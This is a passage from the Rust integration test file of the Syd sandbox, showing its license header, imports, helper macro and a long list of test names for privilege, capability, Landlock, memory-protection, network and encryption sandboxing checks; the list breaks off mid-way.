//
// Syd: rock-solid application kernel
// src/test/test.rs: Integration tests
//
// Copyright (c) 2023, 2024, 2025 Ali Polatel <alip@chesswob.org>
// setup_openat2_test() is based in part on
// Linux' tools/testing/selftests/openat2/resolve_test.c which is:
//   Author: Aleksa Sarai <cyphar@cyphar.com>
//   Copyright (C) 2018-2019 SUSE LLC.
//   SPDX-License-Identifier: GPL-2.0-or-later
// test_syd_stat_after_rename_dir_4 is based in part on
// "keep-directory-symlink" test from GNU tar's test suite which is:
//   Copyright 2017-2025 Free Software Foundation, Inc.
//   SPDX-License-Identifier: GPL-3.0-or-later
//
// SPDX-License-Identifier: GPL-3.0

#![allow(non_snake_case)]
#![allow(clippy::disallowed_methods)]
#![allow(clippy::literal_string_with_formatting_args)]

use std::{
    env,
    ffi::OsStr,
    fs::{create_dir_all, metadata, File},
    io::{BufRead, BufReader, Read, Write},
    os::{
        fd::{AsRawFd, FromRawFd, OwnedFd},
        unix::{
            ffi::OsStrExt,
            fs::{symlink, PermissionsExt},
            process::ExitStatusExt,
        },
    },
    path::Path,
    process::{Command, Stdio},
    thread::sleep,
    time::Duration,
};

use hex::{DisplayHex, FromHex};
use nix::{
    errno::Errno,
    fcntl::{open, openat, readlink, OFlag},
    mount::{mount, MsFlags},
    sched::{unshare, CloneFlags},
    sys::{
        signal::{kill, SaFlags, Signal},
        socket::{
            accept, bind, listen, socket, AddressFamily, Backlog, SockFlag, SockType, UnixAddr,
        },
        stat::{mkdirat, mknod, umask, Mode, SFlag},
    },
    unistd::{
        close, dup2, fchdir, fork, getgid, getuid, mkdir, pipe, symlinkat, sysconf, unlink,
        ForkResult, SysconfVar, Uid,
    },
    NixPath,
};
use serde_json::Value;
use syd::{
    config::*,
    err::SydResult,
    fs::{grep, randport, set_cloexec},
    hash::HashAlgorithm,
    path::{XPath, XPathBuf},
    unshare::{GidMap, UidMap},
};

use crate::{
    assert, assert_eq, assert_status_aborted, assert_status_bad_message, assert_status_code,
    assert_status_code_matches, assert_status_denied, assert_status_hidden,
    assert_status_interrupted, assert_status_invalid, assert_status_killed, assert_status_not_ok,
    assert_status_not_supported, assert_status_ok, assert_status_panicked, assert_status_signaled,
    assert_status_sigsys, fixup, ignore, skip_if_32bin_64host, skip_if_root, skip_if_strace,
    skip_unless_available, skip_unless_bitness, skip_unless_cap, skip_unless_coredumps,
    skip_unless_exists, skip_unless_kernel_crypto_is_supported, skip_unless_landlock_abi_supported,
    skip_unless_pty, skip_unless_unshare, skip_unless_xattrs_are_supported, util::*,
};

const EX_SIGIOT: i32 = 128 + nix::libc::SIGIOT;
const EX_SIGKILL: i32 = 128 + nix::libc::SIGKILL;
const EX_SIGSEGV: i32 = 128 + nix::libc::SIGSEGV;

const NONE: &[&str] = &[];

/// Represents a test case.
pub type Test<'a> = (&'a str, fn() -> TestResult);

macro_rules! test_entry {
    ($func:expr) => {
        (stringify!($func), $func)
    };
}

/// List of integration tests.
pub const TESTS: &[Test] = &[
    test_entry!(test_syd_version),
    test_entry!(test_syd_export_syntax),
    test_entry!(test_syd_export_sanity_parent),
    test_entry!(test_syd_export_sanity_socket),
    test_entry!(test_syd_export_sanity_waiter),
    test_entry!(test_syd_export_sanity_process),
    test_entry!(test_syd_export_sanity_monitor),
    test_entry!(test_syd_true_returns_success),
    test_entry!(test_syd_true_returns_success_with_many_processes),
    test_entry!(test_syd_true_returns_success_with_many_threads),
    test_entry!(test_syd_false_returns_failure),
    test_entry!(test_syd_true_returns_failure_with_many_processes),
    test_entry!(test_syd_true_returns_failure_with_many_threads),
    test_entry!(test_syd_empty_file_returns_enoexec),
    test_entry!(test_syd_non_executable_file_returns_eacces_empty),
    test_entry!(test_syd_non_executable_file_returns_eacces_binary),
    test_entry!(test_syd_non_executable_file_returns_eacces_script),
    test_entry!(test_syd_sigint_returns_130),
    test_entry!(test_syd_sigabrt_returns_134),
    test_entry!(test_syd_sigkill_returns_137),
    test_entry!(test_syd_reap_zombies_bare),
    test_entry!(test_syd_reap_zombies_wrap),
    test_entry!(test_syd_whoami_returns_root_fake),
    test_entry!(test_syd_whoami_returns_root_user),
    test_entry!(test_syd_setuid_nobody_default),
    test_entry!(test_syd_setuid_nobody_safesetid_deny),
    test_entry!(test_syd_setuid_root_safesetid_deny),
    test_entry!(test_syd_setuid_nobody_safesetid_allow),
    test_entry!(test_syd_setgid_nobody_default),
    test_entry!(test_syd_setgid_nobody_safesetid_deny),
    test_entry!(test_syd_setgid_root_safesetid_deny),
    test_entry!(test_syd_setgid_nobody_safesetid_allow),
    test_entry!(test_syd_setreuid_nobody_default_1),
    test_entry!(test_syd_setreuid_nobody_default_2),
    test_entry!(test_syd_setreuid_nobody_default_3),
    test_entry!(test_syd_setreuid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setreuid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setreuid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setreuid_root_safesetid_deny_1),
    test_entry!(test_syd_setreuid_root_safesetid_deny_2),
    test_entry!(test_syd_setreuid_root_safesetid_deny_3),
    test_entry!(test_syd_setreuid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setreuid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setreuid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setregid_nobody_default_1),
    test_entry!(test_syd_setregid_nobody_default_2),
    test_entry!(test_syd_setregid_nobody_default_3),
    test_entry!(test_syd_setregid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setregid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setregid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setregid_root_safesetid_deny_1),
    test_entry!(test_syd_setregid_root_safesetid_deny_2),
    test_entry!(test_syd_setregid_root_safesetid_deny_3),
    test_entry!(test_syd_setregid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setregid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setregid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setresuid_nobody_default_1),
    test_entry!(test_syd_setresuid_nobody_default_2),
    test_entry!(test_syd_setresuid_nobody_default_3),
    test_entry!(test_syd_setresuid_nobody_default_4),
    test_entry!(test_syd_setresuid_nobody_default_5),
    test_entry!(test_syd_setresuid_nobody_default_6),
    test_entry!(test_syd_setresuid_nobody_default_7),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_4),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_5),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_6),
    test_entry!(test_syd_setresuid_nobody_safesetid_deny_7),
    test_entry!(test_syd_setresuid_root_safesetid_deny_1),
    test_entry!(test_syd_setresuid_root_safesetid_deny_2),
    test_entry!(test_syd_setresuid_root_safesetid_deny_3),
    test_entry!(test_syd_setresuid_root_safesetid_deny_4),
    test_entry!(test_syd_setresuid_root_safesetid_deny_5),
    test_entry!(test_syd_setresuid_root_safesetid_deny_6),
    test_entry!(test_syd_setresuid_root_safesetid_deny_7),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_4),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_5),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_6),
    test_entry!(test_syd_setresuid_nobody_safesetid_allow_7),
    test_entry!(test_syd_setresgid_nobody_default_1),
    test_entry!(test_syd_setresgid_nobody_default_2),
    test_entry!(test_syd_setresgid_nobody_default_3),
    test_entry!(test_syd_setresgid_nobody_default_4),
    test_entry!(test_syd_setresgid_nobody_default_5),
    test_entry!(test_syd_setresgid_nobody_default_6),
    test_entry!(test_syd_setresgid_nobody_default_7),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_1),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_2),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_3),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_4),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_5),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_6),
    test_entry!(test_syd_setresgid_nobody_safesetid_deny_7),
    test_entry!(test_syd_setresgid_root_safesetid_deny_1),
    test_entry!(test_syd_setresgid_root_safesetid_deny_2),
    test_entry!(test_syd_setresgid_root_safesetid_deny_3),
    test_entry!(test_syd_setresgid_root_safesetid_deny_4),
    test_entry!(test_syd_setresgid_root_safesetid_deny_5),
    test_entry!(test_syd_setresgid_root_safesetid_deny_6),
    test_entry!(test_syd_setresgid_root_safesetid_deny_7),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_1),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_2),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_3),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_4),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_5),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_6),
    test_entry!(test_syd_setresgid_nobody_safesetid_allow_7),
    test_entry!(test_syd_drop_cap_sys_ptrace_exec_default),
    test_entry!(test_syd_drop_cap_sys_ptrace_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_ptrace_exec_unsafe_ptrace),
    test_entry!(test_syd_drop_cap_chown_exec_default),
    test_entry!(test_syd_drop_cap_chown_exec_unsafe),
    test_entry!(test_syd_drop_cap_chown_exec_allow_unsafe),
    test_entry!(test_syd_drop_cap_setgid_exec_default),
    test_entry!(test_syd_drop_cap_setgid_exec_unsafe),
    test_entry!(test_syd_drop_cap_setgid_exec_safesetid),
    test_entry!(test_syd_drop_cap_setuid_exec_default),
    test_entry!(test_syd_drop_cap_setuid_exec_unsafe),
    test_entry!(test_syd_drop_cap_setuid_exec_safesetid),
    test_entry!(test_syd_drop_cap_net_bind_service_exec_default),
    test_entry!(test_syd_drop_cap_net_bind_service_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_bind_service_exec_unsafe_bind),
    test_entry!(test_syd_drop_cap_net_raw_exec_default),
    test_entry!(test_syd_drop_cap_net_raw_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_raw_exec_unsafe_socket),
    test_entry!(test_syd_drop_cap_sys_time_exec_default),
    test_entry!(test_syd_drop_cap_sys_time_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_time_exec_unsafe_time),
    test_entry!(test_syd_drop_cap_syslog_exec_default),
    test_entry!(test_syd_drop_cap_syslog_exec_unsafe_caps),
    test_entry!(test_syd_drop_cap_syslog_exec_unsafe_syslog),
    test_entry!(test_syd_drop_cap_sys_ptrace_load_default),
    test_entry!(test_syd_drop_cap_sys_ptrace_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_ptrace_load_unsafe_ptrace),
    test_entry!(test_syd_drop_cap_chown_load_default),
    test_entry!(test_syd_drop_cap_chown_load_unsafe),
    test_entry!(test_syd_drop_cap_chown_load_allow_unsafe),
    test_entry!(test_syd_drop_cap_setgid_load_default),
    test_entry!(test_syd_drop_cap_setgid_load_unsafe),
    test_entry!(test_syd_drop_cap_setgid_load_safesetid),
    test_entry!(test_syd_drop_cap_setuid_load_default),
    test_entry!(test_syd_drop_cap_setuid_load_unsafe),
    test_entry!(test_syd_drop_cap_setuid_load_safesetid),
    test_entry!(test_syd_drop_cap_net_bind_service_load_default),
    test_entry!(test_syd_drop_cap_net_bind_service_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_bind_service_load_unsafe_bind),
    test_entry!(test_syd_drop_cap_net_raw_load_default),
    test_entry!(test_syd_drop_cap_net_raw_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_net_raw_load_unsafe_socket),
    test_entry!(test_syd_drop_cap_sys_time_load_default),
    test_entry!(test_syd_drop_cap_sys_time_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_sys_time_load_unsafe_time),
    test_entry!(test_syd_drop_cap_syslog_load_default),
    test_entry!(test_syd_drop_cap_syslog_load_unsafe_caps),
    test_entry!(test_syd_drop_cap_syslog_load_unsafe_syslog),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_default),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_exec_unsafe_ptrace),
    test_entry!(test_syd_userns_drop_cap_chown_exec_default),
    test_entry!(test_syd_userns_drop_cap_chown_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_chown_exec_allow_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_default),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_exec_safesetid),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_default),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_unsafe),
    test_entry!(test_syd_userns_drop_cap_setuid_exec_safesetid),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_default),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_exec_unsafe_bind),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_default),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_raw_exec_unsafe_socket),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_default),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_time_exec_unsafe_time),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_default),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_syslog_exec_unsafe_syslog),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_load_default),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_ptrace_load_unsafe_ptrace),
    test_entry!(test_syd_userns_drop_cap_chown_load_default),
    test_entry!(test_syd_userns_drop_cap_chown_load_unsafe),
    test_entry!(test_syd_userns_drop_cap_chown_load_allow_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_load_default),
    test_entry!(test_syd_userns_drop_cap_setgid_load_unsafe),
    test_entry!(test_syd_userns_drop_cap_setgid_load_safesetid),
    test_entry!(test_syd_userns_drop_cap_setuid_load_default),
    test_entry!(test_syd_userns_drop_cap_setuid_load_unsafe),
    test_entry!(test_syd_userns_drop_cap_setuid_load_safesetid),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_load_default),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_bind_service_load_unsafe_bind),
    test_entry!(test_syd_userns_drop_cap_net_raw_load_default),
    test_entry!(test_syd_userns_drop_cap_net_raw_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_net_raw_load_unsafe_socket),
    test_entry!(test_syd_userns_drop_cap_sys_time_load_default),
    test_entry!(test_syd_userns_drop_cap_sys_time_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_sys_time_load_unsafe_time),
    test_entry!(test_syd_userns_drop_cap_syslog_load_default),
    test_entry!(test_syd_userns_drop_cap_syslog_load_unsafe_caps),
    test_entry!(test_syd_userns_drop_cap_syslog_load_unsafe_syslog),
    test_entry!(test_syd_landlock_read_restrictions_allow),
    test_entry!(test_syd_landlock_read_restrictions_deny),
    test_entry!(test_syd_landlock_read_restrictions_list),
    test_entry!(test_syd_landlock_write_restrictions_allow),
    test_entry!(test_syd_landlock_write_restrictions_deny),
    test_entry!(test_syd_landlock_write_restrictions_list),
    test_entry!(test_syd_landlock_bind_restrictions_allow),
    test_entry!(test_syd_landlock_bind_restrictions_deny),
    test_entry!(test_syd_landlock_bind_restrictions_list),
    test_entry!(test_syd_landlock_connect_restrictions_allow),
    test_entry!(test_syd_landlock_connect_restrictions_deny),
    test_entry!(test_syd_landlock_connect_restrictions_list),
    test_entry!(test_syd_landlock_ioctl_restrictions_allow),
    test_entry!(test_syd_landlock_ioctl_restrictions_deny),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_allow_1),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_allow_2),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_deny_1),
    test_entry!(test_syd_landlock_ioctl_restrictions_pty_deny_2),
    test_entry!(test_syd_landlock_abstract_unix_socket_restrictions_allow),
    test_entry!(test_syd_landlock_abstract_unix_socket_restrictions_deny),
    test_entry!(test_syd_landlock_signal_restrictions_allow),
    test_entry!(test_syd_landlock_signal_restrictions_deny),
    test_entry!(test_syd_socket_domain_restrictions),
    test_entry!(test_syd_xattr_name_restrictions_get_default),
    test_entry!(test_syd_xattr_name_restrictions_get_lockoff),
    test_entry!(test_syd_xattr_name_restrictions_set_default),
    test_entry!(test_syd_xattr_name_restrictions_set_lockoff),
    test_entry!(test_syd_xattr_name_restrictions_lst_default),
    test_entry!(test_syd_xattr_name_restrictions_lst_lockoff),
    test_entry!(test_syd_xattr_getxattrat_path_linux),
    test_entry!(test_syd_xattr_getxattrat_file_linux),
    test_entry!(test_syd_xattr_getxattrat_path_syd_default),
    test_entry!(test_syd_xattr_getxattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_getxattrat_file_syd_default),
    test_entry!(test_syd_xattr_getxattrat_file_syd_lockoff),
    test_entry!(test_syd_xattr_setxattrat_path_linux),
    test_entry!(test_syd_xattr_setxattrat_file_linux),
    test_entry!(test_syd_xattr_setxattrat_path_syd_default),
    test_entry!(test_syd_xattr_setxattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_setxattrat_file_syd_default),
    test_entry!(test_syd_xattr_setxattrat_file_syd_lockoff),
    test_entry!(test_syd_xattr_listxattrat_path_linux),
    test_entry!(test_syd_xattr_listxattrat_file_linux),
    test_entry!(test_syd_xattr_listxattrat_path_syd_default),
    test_entry!(test_syd_xattr_listxattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_listxattrat_file_syd_default),
    test_entry!(test_syd_xattr_listxattrat_file_syd_lockoff),
    test_entry!(test_syd_xattr_removexattrat_path_linux),
    test_entry!(test_syd_xattr_removexattrat_file_linux),
    test_entry!(test_syd_xattr_removexattrat_path_syd_default),
    test_entry!(test_syd_xattr_removexattrat_path_syd_lockoff),
    test_entry!(test_syd_xattr_removexattrat_file_syd_default),
    test_entry!(test_syd_xattr_removexattrat_file_syd_lockoff),
    test_entry!(test_syd_environment_filter),
    test_entry!(test_syd_environment_harden),
    test_entry!(test_syd_lock),
    test_entry!(test_syd_lock_exec),
    test_entry!(test_syd_lock_prevents_further_cli_args),
    test_entry!(test_syd_lock_prevents_further_cfg_items),
    test_entry!(test_syd_lock_prevents_further_inc_items),
    test_entry!(test_syd_dns_resolve_host_unspec),
    test_entry!(test_syd_dns_resolve_host_ipv4),
    test_entry!(test_syd_dns_resolve_host_ipv6),
    test_entry!(test_syd_wordexp),
    test_entry!(test_syd_cmd_exec_with_lock_default),
    test_entry!(test_syd_cmd_exec_with_lock_on),
    test_entry!(test_syd_cmd_exec_with_lock_off_1),
    test_entry!(test_syd_cmd_exec_with_lock_off_2),
    test_entry!(test_syd_cmd_exec_with_lock_exec_1),
    test_entry!(test_syd_cmd_exec_with_lock_exec_2),
    test_entry!(test_syd_parse_config),
    test_entry!(test_syd_include_config),
    test_entry!(test_syd_shellexpand_01),
    test_entry!(test_syd_shellexpand_02),
    test_entry!(test_syd_shellexpand_03),
    test_entry!(test_syd_shellexpand_04),
    test_entry!(test_syd_lock_personality),
    test_entry!(test_syd_log_proc_setname_read),
    test_entry!(test_syd_log_proc_setname_filter),
    test_entry!(test_syd_cap_basic),
    test_entry!(test_syd_cap_unshare),
    test_entry!(test_syd_set_at_secure_default),
    test_entry!(test_syd_set_at_secure_unsafe),
    test_entry!(test_syd_set_at_secure_off),
    test_entry!(test_syd_set_at_secure_max),
    test_entry!(test_syd_randomize_sysinfo),
    test_entry!(test_syd_mmap_prot_read_exec_with_map_anonymous),
    test_entry!(test_syd_mmap_prot_write_exec_with_map_anonymous),
    test_entry!(test_syd_mmap_prot_read_exec_with_backing_file),
    test_entry!(test_syd_mmap_prot_write_exec_with_backing_file),
    test_entry!(test_syd_mmap_prot_exec_rdwr_fd),
    test_entry!(test_syd_mmap_fixed_null),
    test_entry!(test_syd_mprotect_read_to_exec),
    test_entry!(test_syd_mprotect_read_to_write_exec),
    test_entry!(test_syd_mprotect_write_to_exec),
    test_entry!(test_syd_mprotect_write_to_read_exec),
    test_entry!(test_syd_mprotect_exe),
    test_entry!(test_syd_mprotect_jit),
    test_entry!(test_syd_stat_write_to_non_writable_linux),
    test_entry!(test_syd_stat_write_to_non_writable_default),
    test_entry!(test_syd_stat_write_to_non_writable_procmem),
    test_entry!(test_syd_stat_write_to_read_exec_linux),
    test_entry!(test_syd_stat_write_to_read_exec_default),
    test_entry!(test_syd_stat_write_to_read_exec_procmem),
    test_entry!(test_syd_load_library),
    test_entry!(test_syd_load_library_noexec),
    test_entry!(test_syd_load_library_abort_after_load),
    test_entry!(test_syd_load_library_abort_at_startup),
    test_entry!(test_syd_load_library_check_fd_leaks_bare),
    test_entry!(test_syd_load_library_check_fd_leaks_wrap),
    test_entry!(test_syd_load_library_check_fd_leaks_init_bare),
    test_entry!(test_syd_load_library_check_fd_leaks_init_wrap),
    test_entry!(test_syd_exec_program_check_fd_leaks_bare),
    test_entry!(test_syd_exec_program_check_fd_leaks_wrap),
    test_entry!(test_syd_read_sandbox_open_allow),
    test_entry!(test_syd_read_sandbox_open_deny),
    test_entry!(test_syd_chdir_sandbox_allow_1),
    test_entry!(test_syd_chdir_sandbox_allow_2),
    test_entry!(test_syd_chdir_sandbox_hide_1),
    test_entry!(test_syd_chdir_sandbox_hide_2),
    test_entry!(test_syd_chroot_sandbox_allow_default),
    test_entry!(test_syd_chroot_sandbox_allow_unsafe),
    test_entry!(test_syd_chroot_sandbox_deny),
    test_entry!(test_syd_chroot_sandbox_hide),
    test_entry!(test_syd_stat_sandbox_stat_allow),
    test_entry!(test_syd_stat_sandbox_stat_hide),
    test_entry!(test_syd_readdir_sandbox_getdents_allow),
    test_entry!(test_syd_readdir_sandbox_getdents_hide),
    test_entry!(test_syd_stat_bypass_with_read),
    test_entry!(test_syd_stat_bypass_with_write),
    test_entry!(test_syd_stat_bypass_with_exec),
    test_entry!(test_syd_write_sandbox_open_allow),
    test_entry!(test_syd_write_sandbox_open_deny),
    test_entry!(test_syd_exec_sandbox_open_allow),
    test_entry!(test_syd_exec_sandbox_open_deny),
    test_entry!(test_syd_exec_sandbox_deny_binfmt_script),
    test_entry!(test_syd_exec_sandbox_many_binfmt_script),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_bare),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_dlopen_wrap),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_LIBRARY_PATH),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_safe),
    test_entry!(test_syd_exec_sandbox_prevent_library_injection_LD_PRELOAD_unsafe),
    test_entry!(test_syd_network_sandbox_accept_ipv4),
    test_entry!(test_syd_network_sandbox_accept_ipv6),
    test_entry!(test_syd_network_sandbox_connect_ipv4_allow),
    test_entry!(test_syd_network_sandbox_connect_ipv4_deny),
    test_entry!(test_syd_network_sandbox_connect_ipv6_allow),
    test_entry!(test_syd_network_sandbox_connect_ipv6_deny),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_failure),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv4_success),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_failure),
    test_entry!(test_syd_network_sandbox_allow_safe_bind_ipv6_success),
    test_entry!(test_syd_handle_toolong_unix_connect),
    test_entry!(test_syd_handle_toolong_unix_sendto),
    test_entry!(test_syd_handle_toolong_unix_sendmsg),
    test_entry!(test_syd_sendmsg_scm_rights_one),
    test_entry!(test_syd_sendmsg_scm_rights_many),
    test_entry!(test_syd_sendmmsg),
    test_entry!(test_syd_appendonly_prevent_clobber),
    test_entry!(test_syd_appendonly_prevent_removal),
    test_entry!(test_syd_appendonly_prevent_rename),
    test_entry!(test_syd_appendonly_prevent_truncate),
    test_entry!(test_syd_appendonly_prevent_ftruncate),
    test_entry!(test_syd_appendonly_prevent_fcntl),
    test_entry!(test_syd_crypt_prevent_append_change),
    test_entry!(test_syd_mask_simple),
    test_entry!(test_syd_truncate),
    test_entry!(test_syd_truncate64),
    test_entry!(test_syd_ftruncate),
    test_entry!(test_syd_ftruncate64),
    test_entry!(test_syd_kcapi_hash_block),
    test_entry!(test_syd_kcapi_hash_stream),
    test_entry!(test_syd_kcapi_cipher_block),
    test_entry!(test_syd_crypt_bit_flip_header),
    test_entry!(test_syd_crypt_bit_flip_auth_tag),
    test_entry!(test_syd_crypt_bit_flip_iv),
    test_entry!(test_syd_crypt_bit_flip_ciphertext),
    test_entry!(test_syd_crypt_sandboxing_file_modes),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_mini_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_mini_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_incr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_incr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_cmp_decr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bscan_append_aes_decr_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_tiny_copy),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_nano_copy),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_nano_copy),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_tiny_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_tiny_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_mild_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_mild_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_cmp_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_sieve_append_aes_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_mild_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_cmp_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_single_aes_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_cmp_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_bsize_append_aes_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_prime_single_cmp_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_single_aes_huge_copy),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_prime_append_cmp_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_huge_copy_seq),
    test_entry!(test_syd_crypt_sandboxing_prime_append_aes_huge_copy_mul),
    test_entry!(test_syd_crypt_sandboxing_single_cmp_rand_copy),
